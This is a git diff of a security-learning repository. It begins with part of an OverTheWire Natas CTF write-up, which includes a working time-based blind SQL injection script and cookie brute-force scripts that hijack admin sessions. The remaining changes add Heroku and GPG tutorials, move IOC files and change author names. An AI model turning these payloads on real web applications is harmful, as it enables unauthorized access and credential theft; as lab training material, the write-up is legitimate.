time = r.elapsed.total_seconds() + print("Position %d: trying %s... Time: %.3f" %(i, CHARS[j], time)) + #print r.url + if time >= 9: + password += CHARS[j] + print("Password so far: " + password) + break + return password + +if __name__ == '__main__': + # authorization: login and password + AUTH = ('natas17', '****************************') + + # BASE64 password and 32 bytes + CHARS = string.ascii_letters + string.digits + LENGTH = 32 + + # crafted url + SQL_URL1 = 'http://natas17.natas.labs.overthewire.org?username=natas18" AND SUBSTRING(password,' + SQL_URL2 = ',1) LIKE BINARY "' + SQL_URL3 = '" AND SLEEP(10) AND "1"="1' + + print(brute_force_password(LENGTH, AUTH, CHARS, SQL_URL1, SQL_URL2)) +``` + +Around 15 minutes later, I got the password. + + + +### Level 18: Hijacking Session ID + + + +The 18th level starts with a login form, just like the levels before it. The source code is much more intricate though. + +First, we see the declaration of the size of the id. This is important if we want to brute force the solution: + +``` +$maxid = 640; // 640 should be enough for everyone +``` + +Then we have a function that checks whether a variable *$id* is a number with the PHP function [is_numeric]: + +[is_numeric]: http://php.net/manual/en/function.is-numeric.php + +``` +function isValidID($id) { /* {{{ */ + return is_numeric($id); +} +``` + + +Then we have this main object: +``` +$showform = true; +if(my_session_start()) { + print_credentials(); + $showform = false; +} else { + if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { + session_id(createID($_REQUEST["username"])); + session_start(); + $_SESSION["admin"] = isValidAdminLogin(); + debug("New session started"); + $showform = false; + print_credentials(); + } +} +if($showform) { +?> +``` +The next function create an random id number with the value defined by *$maxid*: +```php +function createID($user) { /* {{{ */ + global $maxid; + return rand(1, $maxid); +} +``` + +This checks whether the function *my_session_start()* is true: + +``` +function my_session_start() { /* {{{ */ + if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) { + if(!session_start()) { + debug("Session start failed"); + return false; + } else { + debug("Session start ok"); + if(!array_key_exists("admin", $_SESSION)) { + debug("Session was old: admin flag set"); + $_SESSION["admin"] = 0; // backwards compatible, secure + } + return true; + } + } + return false; +} +``` + + +In the case it's true, a function that prints the credentials is called, printing our password: + +``` +function print_credentials() { /* {{{ */ + if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { + print "You are an admin. The credentials for the next level are:<br>"; + print "<pre>Username: natas19\n"; + print "Password: <censored></pre>"; + } else { + print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."; + } +} +``` + +If *%my_session* is not true, it will look to the HTTP request and search for username and password. If it finds them, it creates a session id: + +``` +function isValidAdminLogin() { /* {{{ */ + if($_REQUEST["username"] == "admin") { + /* This method of authentication appears to be unsafe and has been disabled for now. */ + //return 1; + } + return 0; +``` + + + + + + +So, in summary, we have a function that starts the session, first checking if the session id is in the cookie, and if this session id is a number. If true, it checks if it's a fresh session. Then, it checks if the word *admin* is in [SESSION_ID]. If not, it invalidates the session. + +[SESSION_ID]: http://en.wikipedia.org/wiki/Session_ID + +If the SESSION_ID is the admin session ID, the password for the next is shown. + +After that, it calls PHP's [session_starts()]. + +The session ID is given by the variable *PHPSESSID*, and that's what we are going to brute force to get our password. + + + + + + +The variable [$_REQUEST] is an array that by default contains the contents of *$_GET*, *$_POST* and *$_COOKIE*. + +[$_REQUEST]: http://php.net/manual/en/reserved.variables.request.php + +[session_starts()]: http://php.net/manual/en/function.session-start.php + +#### Crafting the attack: + +We write the following script: + +```python +import requests + +def brute_force_password(AUTH, URL, PAYLOAD, MAXID): + for i in range(MAXID): + HEADER ={'Cookie':'PHPSESSID=' + str(i)} + r = requests.post(URL, auth=AUTH, params=PAYLOAD, headers=HEADER) + if "You are an admin" in r.text: + print(r.text) + print(r.url) + print(str(i)) + +if __name__ == '__main__': + AUTH = ('natas18', '*************************') + URL = 'http://natas18.natas.labs.overthewire.org/index.php?' + + PAYLOAD = ({'debug': '1', 'username': 'user', 'password': 'pass'}) + MAXID = 640 + + brute_force_password(AUTH, URL, PAYLOAD, MAXID) +``` + +After a few minutes, we get our password. + + + + + + + + + + + + + + + + + + + +### Level 19: Hijacking Session ID II + + + +This level looks exactly like the previous except that it has the following message: + +> This page uses mostly the same code as the previous level, but session IDs are no longer sequential ... + + + + +This time we have no access to the source code to see how the session IDs are created. However, we have access to the values in the cookie which are created by the session. + +We write the following snippet: + +```python +HEADER ={'Cookie':'PHPSESSID=' + str(i)} +r = requests.post(URL, auth=AUTH, params=PAYLOAD, headers=HEADER) +print(i) +print(HEADER[1]) +``` + +This produces the following output: + +``` +0 +{'PHPSESSID': '3236312d75736572'} +1 +{'PHPSESSID': '3136372d75736572'} +2 +{'PHPSESSID': '3534342d75736572'} +3 +{'PHPSESSID': '3238352d75736572'} +4 +{'PHPSESSID': '3334332d75736572'} +(...) +``` + +So the session ID is an hexadecimal number. Let's decode it: + +```python +id_hex = requests.utils.dict_from_cookiejar(r.cookies)['PHPSESSID'] +print(id_hex.decode('hex')) +``` + +Mmmm, interesting: + +``` +0 +548-user +1 +275-user +2 +237-user +3 +90-user +4 +535-user +(...) +``` + +The session ID is really a random number (below 640) attached to the given username. That's easy. + +#### Crafting the attack: + + +We write the following script: + +```python +import requests + +def brute_force_password(AUTH, URL, PAYLOAD, MAXID): + for i in range(MAXID): + HEADER ={'Cookie':'PHPSESSID=' + (str(i) + '-admin').encode('hex')} + r = requests.post(URL, auth=AUTH, params=PAYLOAD, headers=HEADER) + print(i) + if "You are an admin" in r.text: + print(r.text) + print(r.url) + +if __name__ == '__main__': + + AUTH = ('natas19', '***********************') + URL = 'http://natas19.natas.labs.overthewire.org/index.php?' + + PAYLOAD = ({'debug': '1', 'username': 'admin', 'password': 'pass'}) + MAXID = 640 + + brute_force_password(AUTH, URL, PAYLOAD, MAXID) +``` + +And we get our password in the 501st attempt. Awesome. + + + +_____________________ + +That's it. The [source code is available] as usual. + + +Hack all the things! + +[source code is available]: https://github.com/go-outside-labs/CTFs-Gray-Hacker-and-PenTesting/tree/master/Web_Exploits diff --git a/Cloud_and_K8s_Hacking/README.md b/Cloud_and_K8s_Hacking/README.md new file mode 100644 index 0000000..cfef339 --- /dev/null +++ b/Cloud_and_K8s_Hacking/README.md @@ -0,0 +1,13 @@ +# Cloud and K8s Hacking + +### CI/CD pipelines + +* Static code security analyzers: [SonarQube](https://www.sonarqube.org/) (Javascript scanner), [NodeJsScan](https://github.com/ajinabraham/NodeJsScan). +* Package dependency security analyzers: [Snyk](https://snyk.io/). +* Docker image security analyzers: [Hadolint](https://github.com/hadolint/hadolint), [Clair](https://github.com/coreos/clair), [Anchore](https://anchore.com/). +* AWS IAM permission analyzers: [IAM access advisor APIs](https://aws.amazon.com/blogs/security/automate-analyzing-permissions-using-iam-access-advisor/). +* [PMapper](https://github.com/nccgroup/PMapper). +* AWS S3 permission analyzers: [s3audit](https://github.com/scalefactory/s3audit). +* Docker runtime anomaly detection: [Falco](https://hub.docker.com/r/sysdig/falco). +* Kubernetes policy security analyzers: [RBAC](https://searchsecurity.techtarget.com/definition/role-based-access-control-RBAC). +* Policy auditing tools: [Rakkess](https://github.com/corneliusweig/rakkess). diff --git a/Cloud_and_K8s_Hacking/intro_heroku.md b/Cloud_and_K8s_Hacking/intro_heroku.md new file mode 100644 index 0000000..f393117 --- /dev/null +++ b/Cloud_and_K8s_Hacking/intro_heroku.md @@ -0,0 +1,199 @@ +# Deploying a Flask App at Heroku + + +Heroku platform is very flexible, and it supports several programming languages. To +deploy an application to Heroku, use Git to push the application to Heroku’s server. + +This document shows how to deploy [Anti-Social Network](https://anti-social.herokuapp.com/). + +# Running in a Production Server + +Heroku does not provide a web server, but it expects it to start their own servers and listen on the port number set in environment variable PORT. Flask will perform very poorly because it was not designed to run in a production environment. To improve this, you may use a production-ready web server such as Gunicorn. + +``` +$ pip install gunicorn +``` + +Now, run your app with: + +``` +$ gunicorn manage:app +``` + +Gunicorn uses port 8000 instead of 5000. + +# Heroku Setting Up + +### Create an account at Heroku.com + +If you haven't done it yet, remember: you will be able to keep up to five applications running (you can always delete them if you need). + +### Install Git and Heroku Toolbelt + +You can find instructions at Heroku.com. + +For example, if you are in an AWS EC2 Ubuntu instance, you can use: + +``` +$ sudo apt-get install -y git-core +$ wget -qO- https://toolbelt.heroku.com/install-ubuntu.sh | sh +``` + +You can check if it worked with: + +``` +$ which git +$ which heroku +``` + +Now, login at Heroku: + +``` +$ heroku login +``` + +## Authorize your Machine at Heroku + +### Create and add an SSH Key at Heroku: + +``` +$ ssh-keygen -t rsa +$ heroku keys:add +``` + +The public and private keys will be at ```~/.ssh```. I always recommend backup your keys. Never share your private key. + +### Creating a Git Repository + +Heroku's push/commits work just like Git. But instead of using the "origin" you use "heroku" (you can verify this later at .git/refs/remotes/). In other words, your project's control version (development) is done by using: + +``` +$ git push origin master (or any branch you like) +``` + +and the deployment at Heroku (production) is done using: + +``` +$ git push heroku master (or any branch you like) +``` + +In the root of your project, go ahead, and create a Git repository, commit, add, push: + +``` +$ git init +$ git add -A +$ git commit -m "First commit" +$ git push origin master +``` + +### Creating an App + +Now, let's create our app at Heroku: + +``` +$ heroku create <app-name> +``` + +You can check all your current applications with: + +``` +$ heroku apps +``` + +### Addons and Environment Variables + +Now it's time to add the addons and the environment variables to your app at the Heroku server. For the app I mentioned in the beginning, I type: + +``` +$ heroku addons:add heroku-postgresql:dev +$ heroku pg:promote HEROKU_POSTGRESQL_ONYX_URL +$ heroku config:set MAIL_USERNAME="<login>" +$ heroku config:set MAIL_PASSWORD="<password>" +``` + +You can always check your configuration with: +``` +$ heroku config +``` + +### Adding Requirements + +Heroku needs to know what libraries and packages it needs to install to be able to run your application. For this, create a file requirements.txt in the root of your app, with all the libraries from your environment. One way of doing this is by: + +``` +$ cat pip freeze >> requirements.txt +``` + +#### Adding Procfile + +Next, Heroku needs to know the command to use to start your app. This is given by a file called Procfile. The content should be: + +``` +web gunicorn manage:app +``` +(if this is how you run your application). + +In the Procfile, each line has a task name, a colon, and the command that runs the task. We use web here because Heroku recognizes it as the task that starts the webserver. Heroku gives this task a PORT environment variable, and set it to the port in which the application needs to listen for requests. + +### Using Foreman to Emulate Heroku + +The Heroku Toolbelt includes Foreman, used to run the app locally through the Procfile for testing purposes. The environment variables set at Heroku must be defined locally. Just create a file var.env with this information: + +``` +FLASK_CONFIG=heroku +MAIL_USERNAME=<your-username> +MAIL_PASSWORD=<your-password> +``` + +Foreman run is used to run commands under the environment of the application. Foreman start reads the Procfile and executes the tasks in it: + +``` +$ foreman run python manage.py deploy +$ foreman start +``` + +### Configuring Logging + +In Heroku, logs are written to stdout or stderr. In my app, I added the logging configuration to a class in my app's ```config.py``` file: + +``` +class HerokuConfig(ProductionConfig): + @classmethod + def init_app(cls, app): + ProductionConfig.init_app(app) + + import logging + from logging import StreamHandler + file_handler = StreamHandler() + file_handler.setLevel(logging.WARNING) + app.logger.addHandler(file_handler) +``` + +To let Heroku know what configuration it should use, I add this environment variable: +``` +$ heroku config:set FLASK_CONFIG=heroku +``` + +Now if something goes wrong when you deploy, you can always check the log: + +``` +$ heroku logs +``` + +### Deploying! + +If everything is well-done, it's time to deploy your application. Since you already committed your app before, you just need to push it to Heroku: + +``` +$ git push heroku master +``` + +In my app, I have a script for the deployment (such as taking care of database and other setups for production). So, additionally, I run: + +``` +$ heroku run python manage.py deploy +$ heroku restart +``` + +That's it! The app should be running at ```< app-name >.herokuapp.com```. + diff --git a/Cryptography/Block_Ciphers/DES/DES_CFB_example.py b/Cryptography/Block_Ciphers/DES/DES_CFB_example.py index 78c3ef5..2e5a721 100644 --- a/Cryptography/Block_Ciphers/DES/DES_CFB_example.py +++ b/Cryptography/Block_Ciphers/DES/DES_CFB_example.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" from Crypto.Cipher import DES diff --git a/Cryptography/Block_Ciphers/DES/DES_ECB_example.py b/Cryptography/Block_Ciphers/DES/DES_ECB_example.py index fff0ae6..1063c9f 100644 --- a/Cryptography/Block_Ciphers/DES/DES_ECB_example.py +++ b/Cryptography/Block_Ciphers/DES/DES_ECB_example.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" from Crypto.Cipher import DES diff --git a/Cryptography/Hash_Functions/MD5/Hash-Length-extension-attacks/VimeoHashExploit/client.py b/Cryptography/Hash_Functions/MD5/Hash-Length-extension-attacks/VimeoHashExploit/client.py index 523c603..c956708 100644 --- a/Cryptography/Hash_Functions/MD5/Hash-Length-extension-attacks/VimeoHashExploit/client.py +++ b/Cryptography/Hash_Functions/MD5/Hash-Length-extension-attacks/VimeoHashExploit/client.py @@ -1,6 +1,6 @@ """ Adapted from Filippo Valsorda's tutorial - Marina Wahl, august/2014 + Mia Stein, 2014 """ from md5 import MD5 diff --git a/Cryptography/Hash_Functions/MD5/Hash-Length-extension-attacks/VimeoHashExploit/requirements.txt b/Cryptography/Hash_Functions/MD5/Hash-Length-extension-attacks/VimeoHashExploit/requirements.txt index fc5c2e3..bed3f8c 100644 --- a/Cryptography/Hash_Functions/MD5/Hash-Length-extension-attacks/VimeoHashExploit/requirements.txt +++ b/Cryptography/Hash_Functions/MD5/Hash-Length-extension-attacks/VimeoHashExploit/requirements.txt @@ -1,2 +1,3 @@ -Flask==0.10.1 -requests==2.3.0 +Flask==2.2.5 +requests==2.32.2 + diff --git a/Cryptography/Hash_Functions/MD5/brute_force_hex_digest_chars.py b/Cryptography/Hash_Functions/MD5/brute_force_hex_digest_chars.py index f077bf1..029aac3 100644 --- a/Cryptography/Hash_Functions/MD5/brute_force_hex_digest_chars.py +++ b/Cryptography/Hash_Functions/MD5/brute_force_hex_digest_chars.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" ''' diff --git a/Cryptography/Hash_Functions/MD5/checksum_file.py b/Cryptography/Hash_Functions/MD5/checksum_file.py index 0b9bad0..4cf1d11 100644 --- a/Cryptography/Hash_Functions/MD5/checksum_file.py +++ b/Cryptography/Hash_Functions/MD5/checksum_file.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" ''' Calculate the MD5 checksum of a file. @@ -18,4 +18,4 @@ def get_file_checksum(filename): if len(chunk) == 0: break h.update(chunk) - return h.hexdigest() \ No newline at end of file + return h.hexdigest() diff --git a/Cryptography/README.md b/Cryptography/README.md index 2f6bb03..7a088f7 100644 --- a/Cryptography/README.md +++ b/Cryptography/README.md @@ -1,17 +1,14 @@ # Cryptography +Often data is just encoded in base64 or hex. Other times it's just compressed (gzip): -### Some Tips: - -- Often data is just encoded in base64 or hex. Other times it's just compressed (gzip): - - Text 32 characters long --> md5 hash. - - 40 characters long --> SHA1 hash. - - equal signs spread --> base64 encoded string. - - text only letters, without numbers or special characters --> Caesar, Vigenere, or other type of cipher. - - hints about keys and signing --> likely RSA. +* Text 32 characters long --> md5 hash. +* 40 characters long --> SHA1 hash. +* equal signs spread --> base64 encoded string. +* text only letters, without numbers or special characters --> Caesar, Vigenere, or other type of cipher. +* hints about keys and signing --> likely RSA. ---- ## MD5 diff --git a/Cryptography/Rotation-Ciphers/caesarCipher.py b/Cryptography/Rotation-Ciphers/caesarCipher.py index b569914..593e765 100644 --- a/Cryptography/Rotation-Ciphers/caesarCipher.py +++ b/Cryptography/Rotation-Ciphers/caesarCipher.py @@ -1,7 +1,7 @@ #!/usr/bin/env python -__author__ = "bt3gl" +__author__ = "Mia Stein" import string diff --git a/Cryptography/Rotation-Ciphers/cesarCipher_simple.py b/Cryptography/Rotation-Ciphers/cesarCipher_simple.py index 56eb6be..ed2bce2 100644 --- a/Cryptography/Rotation-Ciphers/cesarCipher_simple.py +++ b/Cryptography/Rotation-Ciphers/cesarCipher_simple.py @@ -1,8 +1,7 @@ #!/usr/bin/env python -__author__ = "Mari Wahl" -__email__ = "marina.w4hl@gmail.com" +__author__ = "Mia Stein" ''' Cesar Ecrypt diff --git a/Cryptography/Rotation-Ciphers/cesarCipher_simple_2.py b/Cryptography/Rotation-Ciphers/cesarCipher_simple_2.py index a5f5f7c..6ac7cef 100644 --- a/Cryptography/Rotation-Ciphers/cesarCipher_simple_2.py +++ b/Cryptography/Rotation-Ciphers/cesarCipher_simple_2.py @@ -1,8 +1,7 @@ #!/usr/bin/env python -__author__ = "Mari Wahl" -__email__ = "marina.w4hl@gmail.com" +__author__ = "Mia Stein" ''' Cesar encrypt - better diff --git a/Cryptography/Rotation-Ciphers/taste_like_english.py b/Cryptography/Rotation-Ciphers/taste_like_english.py index 31454ea..f4cc013 100644 --- a/Cryptography/Rotation-Ciphers/taste_like_english.py +++ b/Cryptography/Rotation-Ciphers/taste_like_english.py @@ -1,7 +1,6 @@ #!/usr/bin/env python -__author__ = "Mari Wahl" -__email__ = "marina.w4hl@gmail.com" +__author__ = "Mia Stein" ''' This program calculate the frequency of letters in a files diff --git a/Cryptography/everything_GPG.md b/Cryptography/everything_GPG.md new file mode 100644 index 0000000..ad3017a --- /dev/null +++ b/Cryptography/everything_GPG.md @@ -0,0 +1,222 @@ +# Intro to OpenPGP & GPG + +[Pretty Good Privacy](http://en.wikipedia.org/wiki/Pretty_Good_Privacy) (PGP) is a model that provides cryptographic privacy and authentication for data communication. It was created by [Phil Zimmermann](http://en.wikipedia.org/wiki/Phil_Zimmermann) in 1991. Today, PGP is a [company](http://en.wikipedia.org/wiki/PGP_Corporation) that sells a proprietary encryption program, [OpenPGP](http://www.openpgp.org/) is the open protocol that defines how PGP encryption works, and [GnuGP](https://www.gnupg.org/) is the free software. + + +The distribution of PGP keys can be done using the concept of [web of trust](http://en.wikipedia.org/wiki/Web_of_trust). It is a decentralized way of establishing the authenticity of a public key and its owner. If you want a cute (ludic) picture of the web of trust, check [Cory Doctorow](https://twitter.com/doctorow)'s book [Little Brother](http://craphound.com/littlebrother/). + + +Almost 15 years after its creation, [PGP continues to be *pretty good*](https://firstlook.org/theintercept/2014/10/28/smuggling-snowden-secrets/). But there is still a [need for new solutions](http://blog.cryptographyengineering.com/2014/08/whats-matter-with-pgp.html) (and they appear to be [coming soon](http://googleonlinesecurity.blogspot.com/2014/06/making-end-to-end-encryption-easier-to.html)). Perhaps the main issue with PGP is its persistence. If one key is compromised, any message from the past can be read. That's where the concept of [perfect forward secrecy ](http://en.wikipedia.org/wiki/Forward_secrecy) comes in play, but this is a subject to another post. + +Meanwhile, I wrote this tutorial, and I hope you find it fun. Btw, [this post was first published at CodeWall and it had 1.5k+ views at the time](https://coderwall.com/p/ajtlqa/getting-started-with-pgp-gpg). + + + + + + +### I. Creating GPG keys + +Type the following in the terminal: + +```sh +$ gpg --gen-key +``` + +Chose [RSA](http://en.wikipedia.org/wiki/RSA_(cryptosystem)) with 4096 bits long and expiration up to 5 years. Use a [strong passphrase](https://www.eff.org/wp/defending-privacy-us-border-guide-travelers-carrying-digital-devices#passphrase) (keep it safe since it cannot be recovered). + +### II. Backup your Private Key + +Save it with your soul: + +```sh +$ gpg --export-secret-keys --armor YOUR_EMAIL > YOUR_NAME-privkey.asc +``` + +### III. Sharing your key + +There are several ways you can share or publish your public key: + +#### By sharing the key's fingerprint + +The key's fingerprint is the same as its signature. Each PGP key has a unique fingerprint that allows you to confirm to others that they have received your actual public key without tampering. A fingerprint is a more convenient way to represent a key uniquely. + +To check the fingerprint of any key that you have in your keyring, type: + +```sh +$ gpg --fingerprint EMAIL +``` + +#### By sending the ASCII file +You can copy your key to a file to be shared: +```sh +$ gpg --export --armor YOUR_EMAIL > YOUR_NAME-pubkey.asc +``` + +#### By publishing it in a public key server +You can export your key to the [GnuPG public key server](keys.gnupg.net). For this, use your key's name (the hexadecimal number in front of the key): + +```sh +$ gpg --send-key KEY_NAME +``` + +You can also export it to [pgp.mit.edu](pgp.mit.edu): + +```sh +$ gpg --keyserver hkp://pgp.mit.edu --send-key KEY_NAME +``` + +### V. Importing Someone's Key + +There are many ways you can import someone's public key: + +#### By a shared file +If you have the ASCII file, you can type: + +```sh +$ gpg --import PUBKEY_FILE +``` + + +#### By Public Key Server +To search for someone's key in the public key server, type: + +```sh +$ gpg --search-keys NAME +``` + +Note: this is **not** very safe since you can't be sure of the key's authenticity. + +### V. Signing a key: The Web of Trust + +Signing a key tells your software that you trust the key that you have been provided (you have verified that it is associated with the person in question). + +To sign a key type: + +```sh +$ gpg --sign-key PERSON_EMAIL +``` + +You should allow the person whose key you are signing to enjoy the advantages of your trusted relationship, done by sending her back the signed key: + +```sh +$ gpg --export --armor PERSON_EMAIL +``` + +When you received a similar *trusted* key, you can import it into your GPG database: + +```sh +$ gpg --import FILENAME +``` + +### VI. Other Useful Commands + +#### To delete a key from your keyring: +```sh +$ gpg --delete-key-name KEY_NAME +``` + +#### To edit a key (for example, the expiration date): + +```sh +$ gpg --edit KEY_NAME +``` + + + +#### If you have more than one key: + +Edit ```~/.gnupg/gpg.conf``` with your favorite key: + +``` +default-key KEY_NAME +``` + +#### Keep your keys fresh: + +```sh +$ gpg --refresh-keys +``` + + + +#### To list your keys: + +```sh +$ gpg --list-keys +``` + +#### And of course: +```sh +$ man gpg +``` + + +### VII. Encrypting and Decrypting Messages + + +With someone's **public key**, you can **encrypt** messages that can only be decrypted with her secret key. You can also **verify signatures** that was generated with her secret key. + +On the other hand, with your secret key, you can **decrypt** messages that were encrypted using your public key. You can also and **sign messages**. + +With GPG, you encrypt messages using the ```--encrypt``` flag. + +The command below encrypts the message signing with your private key (to guarantee that is coming from you). It also generates the message in a text format, instead of raw bytes: + +```sh +$ gpg --encrypt --sign --armor -r PERSON_EMAIL FILE_TO_BE_ENCRYPTED +``` + +If you want to be able to read this message with your own email address, you should add another recipient flag ```-r``` with your email address. + +To decrypt a message, type: + +```sh +$ gpg FILENAME +``` + + +### VIII. Revoking a key + +Whenever you need to revoke a key (because it might be compromised, for example), you can generate a revocation certificate with: + +```sh +$ gpg --output my_revocation.asc --gen-revoke KEY_NAME +``` + +To import the revocation into your keyring: + +```sh +$ gpg --import my_revocation.asc +``` + +Finally, this command sends the revoked key to the public key server: + +```sh +$ gpg --keyserver pgp.mit.edu --send-keys KEY_NAME +``` + + + +---- + + +## Final Comments + +If you prefer a GUI instead of the command line, I strongly recommend [seahorse](https://apps.fedoraproject.org/packages/seahorse/bugs). It makes it really easy to manage all your keys (not only OpenPGP) and passwords. + +Another nice (alpha) project is [keybase.io](https://keybase.io/). It's a web of trust social network, where you can sign your key with your public profiles. Check [mine here](https://keybase.io/bt3). Encryption and decryption can be done in the command line with their [node.js](https://keybase.io/docs/command_line) application. I don't trust uploading my private key anywhere, but I do think that the idea is better than a simple public key server. + + + +Finally, a word about browser plugins: although there are several of them to encrypt webmail with OpenPGP, such as [mymail-crypt](https://chrome.google.com/webstore/detail/mymail-crypt-for-gmail/jcaobjhdnlpmopmjhijplpjhlplfkhba?hl=en-US) or [Mailvelope](https://www.mailvelope.com/), I particularly don't recommend this solution if your message is very sensitive. + +If you are serious about ensuring your long-term privacy, the safest way to go is to use a text editor to write your email message, encrypting the message outside of the web browser, and then cutting and pasting into your webmail interface. This will guarantee that only the recipient will be able to read your email. + +If you really need something in your browser, the creator of [Cryptocat](https://crypto.cat/) recently released [minilock](https://minilock.io/). This tool uses [Curve25519 elliptic curve cryptography](http://en.wikipedia.org/wiki/Curve25519) (the same as in Cryptocat) so that the public keys are much shorter (and easier to share). Remember, it's a new app, so it might not yet be the best choice for the high-stakes environment (but it's worth keeping tabs on this project). + +--- + +## Further Readings + +- [The GNU Privacy Handbook](https://www.gnupg.org/gph/en/manual.html) diff --git a/Forensics/IOCs/README.md b/Forensics/IOCs/README.md new file mode 100644 index 0000000..2b5a698 --- /dev/null +++ b/Forensics/IOCs/README.md @@ -0,0 +1,2 @@ +# IoCs + diff --git a/IOCs/kaspersky_careto_C2.txt b/Forensics/IOCs/kaspersky_careto_C2.txt similarity index 100% rename from IOCs/kaspersky_careto_C2.txt rename to Forensics/IOCs/kaspersky_careto_C2.txt diff --git a/IOCs/kaspersky_careto_domains.txt b/Forensics/IOCs/kaspersky_careto_domains.txt similarity index 100% rename from IOCs/kaspersky_careto_domains.txt rename to Forensics/IOCs/kaspersky_careto_domains.txt diff --git a/IOCs/kaspersky_careto_files.txt b/Forensics/IOCs/kaspersky_careto_files.txt similarity index 100% rename from IOCs/kaspersky_careto_files.txt rename to Forensics/IOCs/kaspersky_careto_files.txt diff --git a/IOCs/kaspersky_careto_files_no-env-vars.txt b/Forensics/IOCs/kaspersky_careto_files_no-env-vars.txt similarity index 100% rename from IOCs/kaspersky_careto_files_no-env-vars.txt rename to Forensics/IOCs/kaspersky_careto_files_no-env-vars.txt diff --git a/IOCs/kaspersky_careto_registry.txt b/Forensics/IOCs/kaspersky_careto_registry.txt similarity index 100% rename from IOCs/kaspersky_careto_registry.txt rename to Forensics/IOCs/kaspersky_careto_registry.txt diff --git a/Forensics/README.md b/Forensics/README.md index 27cc7bf..6558a28 100644 --- a/Forensics/README.md +++ b/Forensics/README.md @@ -1,5 +1,6 @@ # Forensics + ## Disk Forensics ### Basic useful CLI tools: @@ -88,10 +89,9 @@ $ BOOT_IMAGE=/vmlinuz-3.5.0-23-generic * [Lots of material on Volatility and Memory Forensics here](volatility.md) * [On OSX Memory Forensics](osx_memory_forensics.md) -* I highly recommend their training. ---------------- + ## Scripts #### PDFs @@ -101,7 +101,7 @@ Tools to test a PDF file: - pdf-parser ------------ + ## References * [File system analysis](http://wiki.sleuthkit.org/index.php?title=FS_Analysis) diff --git a/Linux_Hacking/README.md b/Linux_Hacking/README.md index 5481936..6824d35 100644 --- a/Linux_Hacking/README.md +++ b/Linux_Hacking/README.md @@ -1,39 +1,8 @@ -# Linux Hacking +# Mia Stein's ol'n'good Ultimate Linux Guide for Hackers -## Privilege Escalation - -* [Unix Privilege Escalation Exploits by years](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack). - -## Folders - -### SSH Hacking - -- getting unencrypted ssh keys from memory - - - -### Shellshock - -- scripts -- POCs - ---- - -## UNIX Exploits - -### RPC Daemons - -* rexd (remote execution): remote user runs a program on the system as a local user. - -* rshd, rlogind, sshd: honor trust relationship established with the source's IP address. - - ---- - -## My Linux Guide & Tricks - -# The Linux Environment +* I wrote this in 2013, but hey Linux is still Linux <3. +<br> ## The Linux Filesystem @@ -43,12 +12,14 @@ $ ls / ``` + + * You can verify their sizes and where they are mounted with: ``` $ df -h . -Filesystem Type Size Used Avail Use% Mounted on -/dev/mapper/fedora-home ext4 127G 62G 59G 51% /home +Filesystem Type Size Used Avail Use% Mounted on +/dev/mapper/fedora-home ext4 127G 62G 59G 51% /home ``` @@ -65,22 +36,24 @@ Filesystem Type Size Used Avail Use% Mounted on * The directory also contains entries that are created by the **udev** system, which creates and manages device nodes on Linux (creating them dynamically when devices are found). ### /var -* **/var** stands for variable and contains files that are expected to be changing in size and content as the system is running. +* **/var** stands for *variable* and contains files that are expected to be changing in size and content as the system is running. * For example, the system log files are located at **/var/log**, the packages and database files are located at **/var/lib**, the print queues are located at **/var/spool**, temporary files stay inside **/var/tmp**, and networks services can be found in subdirectories such as **/var/ftp** and **/var/www**. ### /etc -* **/etc** stands for the system configuration files. It contains no binary programs, but it might have some executable scripts. +* **/etc** is short for *et cetera* and contains the system configuration files. It contains no binary programs, but it might have some executable scripts. -* For instance, the file **/etc/resolv.conf** tells the system where to go on the network to obtain the host name of some IP address (*i.e.* DNS). +* For instance, the file **/etc/resolv.conf** tells the system where to go on the network to obtain the hostname of some IP address (*i.e.* DNS). -* Additionally, the **/etc/passwd** file is the authoritative list of users on any Unix system. It does not contain the passwords: the encrypted password information was migrated into **/etc/shadow**. +* The **/etc/passwd** file is the authoritative list of users on any Unix system. It does not contain the passwords: the encrypted password information was migrated into **/etc/shadow**. + +* The **/etc/hosts** contains a list of hostname to IP address mappings, which can be used to assign names to servers, independently of the public DNS service. ### /lib * **/lib** contains libraries (common code shared by applications and needed for them to run) for essential programs in **/bin** and **/sbin**. -* This library filenames either start with ```ld``` or ```lib``` and are called *dynamically loaded libraries* (or shared libraries). +* This library filenames either start with ```ld``` or ```lib``` and are called *dynamically loaded libraries* (or shared libraries). ### /boot @@ -89,15 +62,15 @@ Filesystem Type Size Used Avail Use% Mounted on * For every alternative kernel installed on the system, there are four files: - * ```vmlinuz```: the compressed Linux kernel, required for booting. + * ```vmlinuz```: the compressed Linux kernel, required for booting. - * ```initramfs``` or ```initrd```: the initial RAM filesystem, required for booting. + * ```initramfs``` or ```initrd```: the initial RAM filesystem, required for booting. - * ```config```: the kernel configuration file, used for debugging. + * ```config```: the kernel configuration file, used for debugging. - * ```system.map```: the kernel symbol table. + * ```system.map```: the kernel symbol table. - * [GRUB](http://www.gnu.org/software/grub/) files can also be found here. + * [GRUB](http://null-byte.wonderhowto.com/how-to/hack-like-pro-linux-basics-for-aspiring-hacker-part-21-grub-bootloader-0154965/) files can also be found here (in /boot/grub/grub.cfg) @@ -105,38 +78,39 @@ Filesystem Type Size Used Avail Use% Mounted on * Optional directory for application software packages, usually installed manually by the user. ### /tmp -* **/tmp** contains temporary files that are erased in a reboot. +* **/tmp** contains temporary files that are erased in a reboot. ### /usr * **/usr** contains multi-user applications, utilities and data. The common subdirectories are: - * **/usr/include**: header files used to compile applications. + * **/usr/include**: header files used to compile applications. - * **usr/lib**: libraries for programs in **usr/(s)bin**. + * **usr/lib**: libraries for programs in **usr/(s)bin**. - * **usr/sbin**: non-essential system binaries, such as system daemons. In modern Linux systems, this is actually linked together to **/sbin**. + * **usr/sbin**: non-essential system binaries, such as system daemons. In modern Linux systems, this is linked together to **/sbin**. - * **usr/bin**: primary directory of executable commands of the system. + * **usr/bin**: primary directory of executable commands of the system. - * **usr/share**: shaped data used by applications, generally architecture-independent. 